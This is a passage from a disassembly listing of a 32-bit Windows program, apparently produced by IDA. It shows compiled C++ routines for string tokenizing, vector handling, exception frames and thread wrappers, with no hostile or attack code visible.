arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F60
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
